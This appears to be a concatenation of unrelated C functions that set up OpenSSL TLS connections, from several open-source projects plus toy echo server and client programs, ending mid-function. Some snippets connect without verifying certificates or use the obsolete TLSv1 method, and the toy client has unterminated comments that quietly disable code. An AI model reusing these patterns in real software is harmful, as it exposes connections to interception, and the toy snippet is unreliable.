SSL *SSL_new_from_context(SSL_CTX *ctx, stream *stream) /* {{{ */ { zval **val = NULL; char *cafile = NULL; char *capath = NULL; char *certfile = NULL; char *cipherlist = NULL; int ok = 1; ERR_clear_error(); /* look at context options in the stream and set appropriate verification flags */ if (GET_VER_OPT("verify_peer") && zval_is_true(*val)) { /* turn on verification callback */ SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback); /* CA stuff */ GET_VER_OPT_STRING("cafile", cafile); GET_VER_OPT_STRING("capath", capath); if (cafile || capath) { if (!SSL_CTX_load_verify_locations(ctx, cafile, capath)) { error_docref(NULL, E_WARNING, "Unable to set verify locations `%s' `%s'", cafile, capath); return NULL; } } if (GET_VER_OPT("verify_depth")) { convert_to_long_ex(val); SSL_CTX_set_verify_depth(ctx, Z_LVAL_PP(val)); } } else { SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL); } /* callback for the passphrase (for localcert) */ if (GET_VER_OPT("passphrase")) { SSL_CTX_set_default_passwd_cb_userdata(ctx, stream); SSL_CTX_set_default_passwd_cb(ctx, passwd_callback); } GET_VER_OPT_STRING("ciphers", cipherlist); if (!cipherlist) { cipherlist = "DEFAULT"; } if (SSL_CTX_set_cipher_list(ctx, cipherlist) != 1) { return NULL; } GET_VER_OPT_STRING("local_cert", certfile); if (certfile) { X509 *cert = NULL; EVP_PKEY *key = NULL; SSL *tmpssl; char resolved_path_buff[MAXPATHLEN]; const char * private_key = NULL; if (VCWD_REALPATH(certfile, resolved_path_buff)) { /* a certificate to use for authentication */ if (SSL_CTX_use_certificate_chain_file(ctx, resolved_path_buff) != 1) { error_docref(NULL, E_WARNING, "Unable to set local cert chain file `%s'; Check that your cafile/capath settings include details of your certificate and its issuer", certfile); return NULL; } GET_VER_OPT_STRING("local_pk", private_key); if (private_key) { char resolved_path_buff_pk[MAXPATHLEN]; if (VCWD_REALPATH(private_key, resolved_path_buff_pk)) { if (SSL_CTX_use_PrivateKey_file(ctx, resolved_path_buff_pk, SSL_FILETYPE_PEM) != 1) { error_docref(NULL, E_WARNING, "Unable to set private key file `%s'", resolved_path_buff_pk); return NULL; } } } else { if (SSL_CTX_use_PrivateKey_file(ctx, resolved_path_buff, SSL_FILETYPE_PEM) != 1) { error_docref(NULL, E_WARNING, "Unable to set private key file `%s'", resolved_path_buff); return NULL; } } tmpssl = SSL_new(ctx); cert = SSL_get_certificate(tmpssl); if (cert) { key = X509_get_pubkey(cert); EVP_PKEY_copy_parameters(key, SSL_get_privatekey(tmpssl)); EVP_PKEY_free(key); } SSL_free(tmpssl); if (!SSL_CTX_check_private_key(ctx)) { error_docref(NULL, E_WARNING, "Private key does not match certificate!"); } } } if (ok) { SSL *ssl = SSL_new(ctx); if (ssl) { /* map SSL => stream */ SSL_set_ex_data(ssl, ssl_stream_data_index, stream); } return ssl; } return NULL; }
int main(int argc, char **argv) { int sockfd, new_fd, fd; socklen_t len; struct sockaddr_in my_addr, their_addr; unsigned int myport, lisnum; char buf[MAXBUF + 1]; SSL_CTX *ctx; mode_t mode; char pwd[100]; char* temp; if (argv[1]) myport = atoi(argv[1]); else { myport = 7838; argv[2]=argv[3]=NULL; } if (argv[2]) lisnum = atoi(argv[2]); else { lisnum = 2; argv[3]=NULL; } SSL_library_init(); OpenSSL_add_all_algorithms(); SSL_load_error_strings(); ctx = SSL_CTX_new(SSLv23_server_method()); if (ctx == NULL) { ERR_print_errors_fp(stdout); exit(1); } SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_cb); SSL_CTX_set_verify_depth(ctx, 10); SSL_CTX_load_verify_locations(ctx,CAFILE, NULL); /* load certificate */ getcwd(pwd,100); if(strlen(pwd)==1) pwd[0]='\0'; if (SSL_CTX_use_certificate_file(ctx, SERVER_CERT_PATH, SSL_FILETYPE_PEM) <= 0) { printf("certificate file error!\n"); ERR_print_errors_fp(stdout); exit(1); } /* load private key */ getcwd(pwd,100); if(strlen(pwd)==1) pwd[0]='\0'; if (SSL_CTX_use_PrivateKey_file(ctx, SERVER_KEY_PATH, SSL_FILETYPE_PEM) <= 0) { printf("privatekey file error!\n"); ERR_print_errors_fp(stdout); exit(1); } if (!SSL_CTX_check_private_key(ctx)) { printf("Check private key failed!\n"); ERR_print_errors_fp(stdout); exit(1); } SSL_CTX_set_client_CA_list(ctx, SSL_load_client_CA_file(CAFILE)); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } else printf("socket created\n"); bzero(&my_addr, sizeof(my_addr)); my_addr.sin_family = PF_INET; my_addr.sin_port = htons(myport); if (argv[3]) my_addr.sin_addr.s_addr = inet_addr(argv[3]); else my_addr.sin_addr.s_addr = INADDR_ANY; if (bind(sockfd, (struct sockaddr *) &my_addr, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); } else printf("binded\n"); if (listen(sockfd, lisnum) == -1) { perror("listen"); exit(1); } else printf("begin listen\n"); while (1) { SSL *ssl; len = sizeof(struct sockaddr); /* connection from clients */ if ((new_fd = accept(sockfd, (struct sockaddr *) &their_addr, &len)) == -1) { perror("accept"); exit(errno); } else { printf("server: got connection from %s, port %d, socket %d\n", inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port), new_fd); } ssl = SSL_new(ctx); SSL_set_fd(ssl, new_fd); SSL_CTX_set_verify(SSL_get_SSL_CTX(ssl), SSL_VERIFY_PEER, NULL); if (SSL_accept(ssl) == -1) { perror("accept"); close(new_fd); break; } print_peer_certificate(ssl); while(1) { bzero(buf, MAXBUF + 1); len = SSL_read(ssl, buf, MAXBUF); if(len == 0) { printf("Receive Complete !\n"); break; } else if(len < 0) { printf("Failure to receive message ! Error code is %d,Error messages are '%s'\n", errno, strerror(errno)); exit(1); } printf("Received: %s \n",buf); SSL_write(ssl, buf, strlen(buf)); } close(fd); SSL_shutdown(ssl); SSL_free(ssl); close(new_fd); } close(sockfd); SSL_CTX_free(ctx); return 0; }
/* * Attempt to negotiate SSL connection. */ int be_tls_open_server(Port *port) { int r; int err; int waitfor; unsigned long ecode; Assert(!port->ssl); Assert(!port->peer); if (!(port->ssl = SSL_new(SSL_context))) { ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("could not initialize SSL connection: %s", SSLerrmessage(ERR_get_error())))); return -1; } if (!my_SSL_set_fd(port, port->sock)) { ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("could not set SSL socket: %s", SSLerrmessage(ERR_get_error())))); return -1; } port->ssl_in_use = true; aloop: /* * Prepare to call SSL_get_error() by clearing thread's OpenSSL error * queue. In general, the current thread's error queue must be empty * before the TLS/SSL I/O operation is attempted, or SSL_get_error() will * not work reliably. An extension may have failed to clear the * per-thread error queue following another call to an OpenSSL I/O * routine. */ ERR_clear_error(); r = SSL_accept(port->ssl); if (r <= 0) { err = SSL_get_error(port->ssl, r); /* * Other clients of OpenSSL in the backend may fail to call * ERR_get_error(), but we always do, so as to not cause problems for * OpenSSL clients that don't call ERR_clear_error() defensively. Be * sure that this happens by calling now. SSL_get_error() relies on * the OpenSSL per-thread error queue being intact, so this is the * earliest possible point ERR_get_error() may be called. */ ecode = ERR_get_error(); switch (err) { case SSL_ERROR_WANT_READ: case SSL_ERROR_WANT_WRITE: /* not allowed during connection establishment */ Assert(!port->noblock); /* * No need to care about timeouts/interrupts here. At this * point authentication_timeout still employs * StartupPacketTimeoutHandler() which directly exits. */ if (err == SSL_ERROR_WANT_READ) waitfor = WL_SOCKET_READABLE; else waitfor = WL_SOCKET_WRITEABLE; WaitLatchOrSocket(MyLatch, waitfor, port->sock, 0, WAIT_EVENT_SSL_OPEN_SERVER); goto aloop; case SSL_ERROR_SYSCALL: if (r < 0) ereport(COMMERROR, (errcode_for_socket_access(), errmsg("could not accept SSL connection: %m"))); else ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("could not accept SSL connection: EOF detected"))); break; case SSL_ERROR_SSL: ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("could not accept SSL connection: %s", SSLerrmessage(ecode)))); break; case SSL_ERROR_ZERO_RETURN: ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("could not accept SSL connection: EOF detected"))); break; default: ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("unrecognized SSL error code: %d", err))); break; } return -1; } /* Get client certificate, if available. */ port->peer = SSL_get_peer_certificate(port->ssl); /* and extract the Common Name from it. */ port->peer_cn = NULL; port->peer_cert_valid = false; if (port->peer != NULL) { int len; len = X509_NAME_get_text_by_NID(X509_get_subject_name(port->peer), NID_commonName, NULL, 0); if (len != -1) { char *peer_cn; peer_cn = MemoryContextAlloc(TopMemoryContext, len + 1); r = X509_NAME_get_text_by_NID(X509_get_subject_name(port->peer), NID_commonName, peer_cn, len + 1); peer_cn[len] = '\0'; if (r != len) { /* shouldn't happen */ pfree(peer_cn); return -1; } /* * Reject embedded NULLs in certificate common name to prevent * attacks like CVE-2009-4034. */ if (len != strlen(peer_cn)) { ereport(COMMERROR, (errcode(ERRCODE_PROTOCOL_VIOLATION), errmsg("SSL certificate's common name contains embedded null"))); pfree(peer_cn); return -1; } port->peer_cn = peer_cn; } port->peer_cert_valid = true; } ereport(DEBUG2, (errmsg("SSL connection from \"%s\"", port->peer_cn ? port->peer_cn : "(anonymous)"))); /* set up debugging/info callback */ SSL_CTX_set_info_callback(SSL_context, info_cb); return 0; }
R_API bool r_socket_connect (RSocket *s, const char *host, const char *port, int proto, unsigned int timeout) { #if __WINDOWS__ && !defined(__CYGWIN__) //&& !defined(__MINGW64__) struct sockaddr_in sa; struct hostent *he; WSADATA wsadata; TIMEVAL Timeout; Timeout.tv_sec = timeout; Timeout.tv_usec = 0; if (WSAStartup (MAKEWORD (1, 1), &wsadata) == SOCKET_ERROR) { eprintf ("Error creating socket."); return false; } s->fd = socket (AF_INET, SOCK_STREAM, 0); #ifdef _MSC_VER if (s->fd == INVALID_SOCKET) #else if (s->fd == -1) #endif return false; unsigned long iMode = 1; int iResult = ioctlsocket (s->fd, FIONBIO, &iMode); if (iResult != NO_ERROR) { eprintf ("ioctlsocket error: %d\n", iResult); } memset (&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; he = (struct hostent *)gethostbyname (host); if (he == (struct hostent*)0) { #ifdef _MSC_VER closesocket (s->fd); #else close (s->fd); #endif return false; } sa.sin_addr = *((struct in_addr *)he->h_addr); s->port = r_socket_port_by_name (port); sa.sin_port = htons (s->port); if (!connect (s->fd, (const struct sockaddr*)&sa, sizeof (struct sockaddr))) { #ifdef _MSC_VER closesocket (s->fd); #else close (s->fd); #endif return false; } iMode = 0; iResult = ioctlsocket (s->fd, FIONBIO, &iMode); if (iResult != NO_ERROR) { eprintf ("ioctlsocket error: %d\n", iResult); } fd_set Write, Err; FD_ZERO (&Write); FD_ZERO (&Err); FD_SET (s->fd, &Write); FD_SET (s->fd, &Err); select (0, NULL, &Write, &Err, &Timeout); if(FD_ISSET (s->fd, &Write)) { return true; } return false; #elif __UNIX__ || defined(__CYGWIN__) int ret; struct addrinfo hints = {0}; struct addrinfo *res, *rp; if (!proto) { proto = R_SOCKET_PROTO_TCP; } signal (SIGPIPE, SIG_IGN); if (proto == R_SOCKET_PROTO_UNIX) { if (!r_socket_unix_connect (s, host)) { return false; } } else { hints.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */ hints.ai_protocol = proto; int gai = getaddrinfo (host, port, &hints, &res); if (gai != 0) { eprintf ("Error in getaddrinfo: %s\n", gai_strerror (gai)); return false; } for (rp = res; rp != NULL; rp = rp->ai_next) { int flag = 1; s->fd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol); if (s->fd == -1) { perror ("socket"); continue; } ret = setsockopt (s->fd, IPPROTO_TCP, TCP_NODELAY, &flag, sizeof (flag)); if (ret < 0) { perror ("setsockopt"); close (s->fd); s->fd = -1; continue; } if (timeout > 0) { r_socket_block_time (s, 1, timeout); //fcntl (s->fd, F_SETFL, O_NONBLOCK, 1); } ret = connect (s->fd, rp->ai_addr, rp->ai_addrlen); if (timeout == 0 && ret == 0) { freeaddrinfo (res); return true; } if (ret == 0 /* || nonblocking */) { struct timeval tv; fd_set fdset, errset; FD_ZERO (&fdset); FD_SET (s->fd, &fdset); tv.tv_sec = 1; //timeout; tv.tv_usec = 0; if (r_socket_is_connected (s)) { freeaddrinfo (res); return true; } if (select (s->fd + 1, NULL, NULL, &errset, &tv) == 1) { int so_error; socklen_t len = sizeof so_error; ret = getsockopt (s->fd, SOL_SOCKET, SO_ERROR, &so_error, &len); if (ret == 0 && so_error == 0) { //fcntl (s->fd, F_SETFL, O_NONBLOCK, 0); //r_socket_block_time (s, 0, 0); freeaddrinfo (res); return true; } } } close (s->fd); s->fd = -1; } freeaddrinfo (res); if (!rp) { eprintf ("Could not resolve address '%s' or failed to connect\n", host); return false; } } #endif #if HAVE_LIB_SSL if (s->is_ssl) { s->ctx = SSL_CTX_new (SSLv23_client_method ()); if (!s->ctx) { r_socket_free (s); return false; } s->sfd = SSL_new (s->ctx); SSL_set_fd (s->sfd, s->fd); if (SSL_connect (s->sfd) != 1) { r_socket_free (s); return false; } } #endif return true; }
/*! \brief * creates a FILE * from the fd passed by the accept thread. * This operation is potentially expensive (certificate verification), * so we do it in the child thread context. * * \note must decrement ref count before returning NULL on error */ static void *handle_tcptls_connection(void *data) { struct ast_tcptls_session_instance *tcptls_session = data; #ifdef DO_SSL int (*ssl_setup)(SSL *) = (tcptls_session->client) ? SSL_connect : SSL_accept; int ret; char err[256]; #endif /* TCP/TLS connections are associated with external protocols, and * should not be allowed to execute 'dangerous' functions. This may * need to be pushed down into the individual protocol handlers, but * this seems like a good general policy. */ if (ast_thread_inhibit_escalations()) { ast_log(LOG_ERROR, "Failed to inhibit privilege escalations; killing connection\n"); ast_tcptls_close_session_file(tcptls_session); ao2_ref(tcptls_session, -1); return NULL; } /* * open a FILE * as appropriate. */ if (!tcptls_session->parent->tls_cfg) { if ((tcptls_session->f = fdopen(tcptls_session->fd, "w+"))) { if(setvbuf(tcptls_session->f, NULL, _IONBF, 0)) { ast_tcptls_close_session_file(tcptls_session); } } } #ifdef DO_SSL else if ( (tcptls_session->ssl = SSL_new(tcptls_session->parent->tls_cfg->ssl_ctx)) ) { SSL_set_fd(tcptls_session->ssl, tcptls_session->fd); if ((ret = ssl_setup(tcptls_session->ssl)) <= 0) { ast_log(LOG_ERROR, "Problem setting up ssl connection: %s\n", ERR_error_string(ERR_get_error(), err)); } else { #if defined(HAVE_FUNOPEN) /* the BSD interface */ tcptls_session->f = funopen(tcptls_session->ssl, ssl_read, ssl_write, NULL, ssl_close); #elif defined(HAVE_FOPENCOOKIE) /* the glibc/linux interface */ static const cookie_io_functions_t cookie_funcs = { ssl_read, ssl_write, NULL, ssl_close }; tcptls_session->f = fopencookie(tcptls_session->ssl, "w+", cookie_funcs); #else /* could add other methods here */ ast_debug(2, "no tcptls_session->f methods attempted!\n"); #endif if ((tcptls_session->client && !ast_test_flag(&tcptls_session->parent->tls_cfg->flags, AST_SSL_DONT_VERIFY_SERVER)) || (!tcptls_session->client && ast_test_flag(&tcptls_session->parent->tls_cfg->flags, AST_SSL_VERIFY_CLIENT))) { X509 *peer; long res; peer = SSL_get_peer_certificate(tcptls_session->ssl); if (!peer) { ast_log(LOG_ERROR, "No peer SSL certificate to verify\n"); ast_tcptls_close_session_file(tcptls_session); ao2_ref(tcptls_session, -1); return NULL; } res = SSL_get_verify_result(tcptls_session->ssl); if (res != X509_V_OK) { ast_log(LOG_ERROR, "Certificate did not verify: %s\n", X509_verify_cert_error_string(res)); X509_free(peer); ast_tcptls_close_session_file(tcptls_session); ao2_ref(tcptls_session, -1); return NULL; } if (!ast_test_flag(&tcptls_session->parent->tls_cfg->flags, AST_SSL_IGNORE_COMMON_NAME)) { ASN1_STRING *str; unsigned char *str2; X509_NAME *name = X509_get_subject_name(peer); int pos = -1; int found = 0; for (;;) { /* Walk the certificate to check all available "Common Name" */ /* XXX Probably should do a gethostbyname on the hostname and compare that as well */ pos = X509_NAME_get_index_by_NID(name, NID_commonName, pos); if (pos < 0) { break; } str = X509_NAME_ENTRY_get_data(X509_NAME_get_entry(name, pos)); ASN1_STRING_to_UTF8(&str2, str); if (str2) { if (!strcasecmp(tcptls_session->parent->hostname, (char *) str2)) { found = 1; } ast_debug(3, "SSL Common Name compare s1='%s' s2='%s'\n", tcptls_session->parent->hostname, str2); OPENSSL_free(str2); } if (found) { break; } } if (!found) { ast_log(LOG_ERROR, "Certificate common name did not match (%s)\n", tcptls_session->parent->hostname); X509_free(peer); ast_tcptls_close_session_file(tcptls_session); ao2_ref(tcptls_session, -1); return NULL; } } X509_free(peer); } } if (!tcptls_session->f) { /* no success opening descriptor stacking */ SSL_free(tcptls_session->ssl); } } #endif /* DO_SSL */ if (!tcptls_session->f) { ast_tcptls_close_session_file(tcptls_session); ast_log(LOG_WARNING, "FILE * open failed!\n"); #ifndef DO_SSL if (tcptls_session->parent->tls_cfg) { ast_log(LOG_ERROR, "Attempted a TLS connection without OpenSSL support. This will not work!\n"); } #endif ao2_ref(tcptls_session, -1); return NULL; } if (tcptls_session->parent->worker_fn) { return tcptls_session->parent->worker_fn(tcptls_session); } else { return tcptls_session; } }
int main() { BIO * bio; SSL * ssl; SSL_CTX * ctx; int sockfd; int len; struct sockaddr_in address; int result=0; char ch = 'A'; int p; char * request = "GET / HTTP/1.1\x0D\x0AHost: localhost\x0D\x0A\x43onnection: Close\x0D\x0A\x0D\x0A"; char r[1024]; /* Set up the library */ ERR_load_BIO_strings(); SSL_load_error_strings(); SSL_library_init(); OpenSSL_add_all_algorithms(); /* Set up the SSL context */ ctx = SSL_CTX_new(SSLv23_client_method()); /* Load the trust store */ if(! SSL_CTX_load_verify_locations(ctx, "TrustStore.pem", NULL)) { fprintf(stderr, "Error loading trust store\n"); ERR_print_errors_fp(stderr); SSL_CTX_free(ctx); return 0; } /* Setup the connection bio = BIO_new_ssl_connect(ctx); /* Set the SSL_MODE_AUTO_RETRY flag BIO_get_ssl(bio, & ssl); SSL_set_mode(ssl, SSL_MODE_AUTO_RETRY); /* Create and setup the connection BIO_set_conn_hostname(bio, "localhost:4422"); if(BIO_do_connect(bio) <= 0) { fprintf(stderr, "Error attempting to connect\n"); ERR_print_errors_fp(stderr); BIO_free_all(bio); SSL_CTX_free(ctx); return 0; } /* Check the certificate */ //socket for client sockfd = socket(AF_INET, SOCK_STREAM, 0); //naming socket address.sin_family = AF_INET; address.sin_addr.s_addr = inet_addr("127.0.0.1"); address.sin_port = htons(9738); len = sizeof(address); printf("length=%d\n",len); printf("Socket done\n"); //connecting server result = connect(sockfd, (struct sockaddr *)&address, len); if(result <0) { perror("oops: client\n"); exit(1); } else { printf("Socket Connected\n"); } ssl = SSL_new(ctx); BIO *sbio; sbio = BIO_new(BIO_s_socket()); BIO_set_fd(sbio, sockfd, BIO_NOCLOSE); SSL_set_bio(ssl, sbio, sbio); //SSL_CTX_set_verify_depth(ctx, 1); //SSL_set_fd(ssl, sockfd); result = SSL_connect(ssl); printf("SSL_connect: %d\n", result); if(SSL_get_verify_result(ssl) != X509_V_OK) { fprintf(stderr, "Certificate verification error: %i\n", SSL_get_verify_result(ssl)); BIO_free_all(bio); SSL_CTX_free(ctx); return 0; } SSL_read(ssl, &ch, 1); printf("char from server = %c\n", ch); SSL_shutdown(ssl); close(sockfd); exit(0); /*for(;;) { p = BIO_read(bio, r, 1023); if(p <= 0) break; r[p] = 0; printf("%s", r); } FILE *fp = NULL; while (fp == NULL) { fp = fopen("/home/herat/Downloads/openssl-backup/shared","r"); } remove("/home/herat/Downloads/openssl-backup/shared");*/ /* Send the request */ //BIO_write(bio, request, strlen(request)); /* Read in the response */ /*for(;;) { p = BIO_read(bio, r, 1023); if(p <= 0) break; r[p] = 0; printf("%s", r); } /* Close the connection and free the context BIO_free_all(bio); SSL_CTX_free(ctx);*/ return 0; }
static int new_ssl_stream(const char *name, int fd, enum session_type type, enum ssl_state state, struct stream **streamp) { struct ssl_stream *sslv; SSL *ssl = NULL; int retval; /* Check for all the needful configuration. */ retval = 0; if (!private_key.read) { VLOG_ERR("Private key must be configured to use SSL"); retval = ENOPROTOOPT; } if (!certificate.read) { VLOG_ERR("Certificate must be configured to use SSL"); retval = ENOPROTOOPT; } if (!ca_cert.read && verify_peer_cert && !bootstrap_ca_cert) { VLOG_ERR("CA certificate must be configured to use SSL"); retval = ENOPROTOOPT; } if (!retval && !SSL_CTX_check_private_key(ctx)) { VLOG_ERR("Private key does not match certificate public key: %s", ERR_error_string(ERR_get_error(), NULL)); retval = ENOPROTOOPT; } if (retval) { goto error; } /* Disable Nagle. * On windows platforms, this can only be called upon TCP connected. */ if (state == STATE_SSL_CONNECTING) { setsockopt_tcp_nodelay(fd); } /* Create and configure OpenSSL stream. */ ssl = SSL_new(ctx); if (ssl == NULL) { VLOG_ERR("SSL_new: %s", ERR_error_string(ERR_get_error(), NULL)); retval = ENOPROTOOPT; goto error; } if (SSL_set_fd(ssl, fd) == 0) { VLOG_ERR("SSL_set_fd: %s", ERR_error_string(ERR_get_error(), NULL)); retval = ENOPROTOOPT; goto error; } if (!verify_peer_cert || (bootstrap_ca_cert && type == CLIENT)) { SSL_set_verify(ssl, SSL_VERIFY_NONE, NULL); } /* Create and return the ssl_stream. */ sslv = xmalloc(sizeof *sslv); stream_init(&sslv->stream, &ssl_stream_class, EAGAIN, name); sslv->state = state; sslv->type = type; sslv->fd = fd; sslv->ssl = ssl; sslv->txbuf = NULL; sslv->rx_want = sslv->tx_want = SSL_NOTHING; sslv->session_nr = next_session_nr++; sslv->n_head = 0; if (VLOG_IS_DBG_ENABLED()) { SSL_set_msg_callback(ssl, ssl_protocol_cb); SSL_set_msg_callback_arg(ssl, sslv); } *streamp = &sslv->stream; return 0; error: if (ssl) { SSL_free(ssl); } closesocket(fd); return retval; }
static int ssl_do(struct st_VioSSLFd *ptr, Vio *vio, long timeout, ssl_handshake_func_t func, unsigned long *errptr) { int r; SSL *ssl; my_socket sd= mysql_socket_getfd(vio->mysql_socket); DBUG_ENTER("ssl_do"); DBUG_PRINT("enter", ("ptr: 0x%lx, sd: %d ctx: 0x%lx", (long) ptr, sd, (long) ptr->ssl_context)); if (!(ssl= SSL_new(ptr->ssl_context))) { DBUG_PRINT("error", ("SSL_new failure")); *errptr= ERR_get_error(); DBUG_RETURN(1); } DBUG_PRINT("info", ("ssl: 0x%lx timeout: %ld", (long) ssl, timeout)); SSL_clear(ssl); SSL_SESSION_set_timeout(SSL_get_session(ssl), timeout); SSL_set_fd(ssl, sd); #ifndef HAVE_YASSL SSL_set_options(ssl, SSL_OP_NO_COMPRESSION); #endif /* Since yaSSL does not support non-blocking send operations, use special transport functions that properly handles non-blocking sockets. These functions emulate the behavior of blocking I/O operations by waiting for I/O to become available. */ #ifdef HAVE_YASSL /* Set first argument of the transport functions. */ yaSSL_transport_set_ptr(ssl, vio); /* Set functions to use in order to send and receive data. */ yaSSL_transport_set_recv_function(ssl, yassl_recv); yaSSL_transport_set_send_function(ssl, yassl_send); #endif if ((r= ssl_handshake_loop(vio, ssl, func)) < 1) { DBUG_PRINT("error", ("SSL_connect/accept failure")); *errptr= SSL_get_error(ssl, r); SSL_free(ssl); DBUG_RETURN(1); } /* Connection succeeded. Install new function handlers, change type, set sd to the fd used when connecting and set pointer to the SSL structure */ if (vio_reset(vio, VIO_TYPE_SSL, SSL_get_fd(ssl), ssl, 0)) DBUG_RETURN(1); #ifndef DBUG_OFF { /* Print some info about the peer */ X509 *cert; char buf[512]; DBUG_PRINT("info",("SSL connection succeeded")); DBUG_PRINT("info",("Using cipher: '%s'" , SSL_get_cipher_name(ssl))); if ((cert= SSL_get_peer_certificate (ssl))) { DBUG_PRINT("info",("Peer certificate:")); X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); DBUG_PRINT("info",("\t subject: '%s'", buf)); X509_NAME_oneline(X509_get_issuer_name(cert), buf, sizeof(buf)); DBUG_PRINT("info",("\t issuer: '%s'", buf)); X509_free(cert); } else DBUG_PRINT("info",("Peer does not have certificate.")); if (SSL_get_shared_ciphers(ssl, buf, sizeof(buf))) { DBUG_PRINT("info",("shared_ciphers: '%s'", buf)); } else DBUG_PRINT("info",("no shared ciphers!")); } #endif DBUG_RETURN(0); }
static void evsock_connect_handler (struct evsock *sock) { int ret, err; socklen_t errlen; unsigned long e; if (sock->ssl) { ret = SSL_connect(sock->ssl); if (ret <= 0) { err = SSL_get_error(sock->ssl, ret); switch (err) { case SSL_ERROR_WANT_READ: EV_IO_RESET(sock->loop, &sock->w, EV_READ); return; case SSL_ERROR_WANT_WRITE: EV_IO_RESET(sock->loop, &sock->w, EV_WRITE); return; case SSL_ERROR_SYSCALL: e = ERR_get_error(); if (!e) { if (errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) { return; } } default: fprintf(stderr, "SSL_connect: errro\n"); SSL_free(sock->ssl); close(sock->fd); ev_io_stop(sock->loop, &sock->w); if (sock->data.destroy) { sock->data.destroy(sock->data.ptr); } return; } } } else { errlen = sizeof(err); if (getsockopt(sock->fd, SOL_SOCKET, SO_ERROR, &err, &errlen) == -1) { perror("getsockpot"); close(sock->fd); ev_io_stop(sock->loop, &sock->w); if (sock->data.destroy) { sock->data.destroy(sock->data.ptr); } return; } if (err) { fprintf(stderr, "connect: %s\n", strerror(err)); close(sock->fd); ev_io_stop(sock->loop, &sock->w); if (sock->data.destroy) { sock->data.destroy(sock->data.ptr); } return; } if (sock->ctx) { sock->ssl = SSL_new(sock->ctx); if (!sock->ssl) { ERR_print_errors_fp(stderr); close(sock->fd); ev_io_stop(sock->loop, &sock->w); if (sock->data.destroy) { sock->data.destroy(sock->data.ptr); } return; } if (!SSL_set_fd(sock->ssl, sock->fd)) { ERR_print_errors_fp(stderr); SSL_free(sock->ssl); close(sock->fd); ev_io_stop(sock->loop, &sock->w); if (sock->data.destroy) { sock->data.destroy(sock->data.ptr); } return; } EV_IO_RESET(sock->loop, &sock->w, EV_READ | EV_WRITE); return; } } if (sock->on_connect && sock->on_connect(sock) == -1) { if (sock->ssl) { SSL_shutdown(sock->ssl); SSL_free(sock->ssl); } close(sock->fd); ev_io_stop(sock->loop, &sock->w); if (sock->data.destroy) { sock->data.destroy(sock->data.ptr); } return; } sock->state = EVSOCK_STATE_ESTABLISHED; sock->rx.events = EV_READ; sock->tx.events = EV_WRITE; EV_IO_RESET(sock->loop, &sock->w, EV_READ | EV_WRITE); }
status_t HTTPStream::connect(const char *server, int port, bool https) { if (port < 0) { port = https ? 443 : 80; } Mutex::Autolock autoLock(mLock); status_t err = OK; if (mState == CONNECTED) { return ERROR_ALREADY_CONNECTED; } if (port < 0 || port > (int) USHRT_MAX) { return UNKNOWN_ERROR; } char service[sizeof("65536")]; sprintf(service, "%d", port); struct addrinfo hints, *ai; memset(&hints, 0, sizeof(hints)); hints.ai_flags = AI_ADDRCONFIG | AI_NUMERICSERV; hints.ai_socktype = SOCK_STREAM; int ret = getaddrinfo(server, service, &hints, &ai); if (ret) { return ERROR_UNKNOWN_HOST; } CHECK_EQ(mSocket, -1); mState = CONNECTING; status_t res = -1; struct addrinfo *tmp; for (tmp = ai; tmp; tmp = tmp->ai_next) { mSocket = socket(tmp->ai_family, tmp->ai_socktype, tmp->ai_protocol); if (mSocket < 0) { continue; } if (mUIDValid) { RegisterSocketUser(mSocket, mUID); } setReceiveTimeout(30); // Time out reads after 30 secs by default. int s = mSocket; mLock.unlock(); res = MyConnect(s, tmp->ai_addr, tmp->ai_addrlen); mLock.lock(); if (mState != CONNECTING) { close(s); freeaddrinfo(ai); return UNKNOWN_ERROR; } if (res == OK) { break; } close(s); } freeaddrinfo(ai); if (res != OK) { close(mSocket); mSocket = -1; mState = READY; return res; } if (https) { CHECK(mSSL == NULL); if (mSSLContext == NULL) { SSL_library_init(); mSSLContext = SSL_CTX_new(TLSv1_client_method()); if (mSSLContext == NULL) { LOGE("failed to create SSL context"); mState = READY; return ERROR_IO; } } mSSL = SSL_new((SSL_CTX *)mSSLContext); if (mSSL == NULL) { LOGE("failed to create SSL session"); mState = READY; return ERROR_IO; } int res = SSL_set_fd((SSL *)mSSL, mSocket); if (res == 1) { res = SSL_connect((SSL *)mSSL); } if (res != 1) { SSL_free((SSL *)mSSL); mSSL = NULL; LOGE("failed to connect over SSL"); mState = READY; return ERROR_IO; } } mState = CONNECTED; return OK; }
static ErlDrvSSizeT tls_drv_control(ErlDrvData handle, unsigned int command, char *buf, ErlDrvSizeT len, char **rbuf, ErlDrvSizeT rlen) { tls_data *d = (tls_data *)handle; int res; int size; ErlDrvBinary *b; X509 *cert; unsigned int flags = command; command &= 0xffff; ERR_clear_error(); switch (command) { case SET_CERTIFICATE_FILE_ACCEPT: case SET_CERTIFICATE_FILE_CONNECT: { time_t mtime = 0; SSL_CTX *ssl_ctx = hash_table_lookup(buf, &mtime); if (is_key_file_modified(buf, &mtime) || ssl_ctx == NULL) { SSL_CTX *ctx; hash_table_insert(buf, mtime, NULL); ctx = SSL_CTX_new(SSLv23_method()); die_unless(ctx, "SSL_CTX_new failed"); res = SSL_CTX_use_certificate_chain_file(ctx, buf); die_unless(res > 0, "SSL_CTX_use_certificate_file failed"); res = SSL_CTX_use_PrivateKey_file(ctx, buf, SSL_FILETYPE_PEM); die_unless(res > 0, "SSL_CTX_use_PrivateKey_file failed"); res = SSL_CTX_check_private_key(ctx); die_unless(res > 0, "SSL_CTX_check_private_key failed"); SSL_CTX_set_session_cache_mode(ctx, 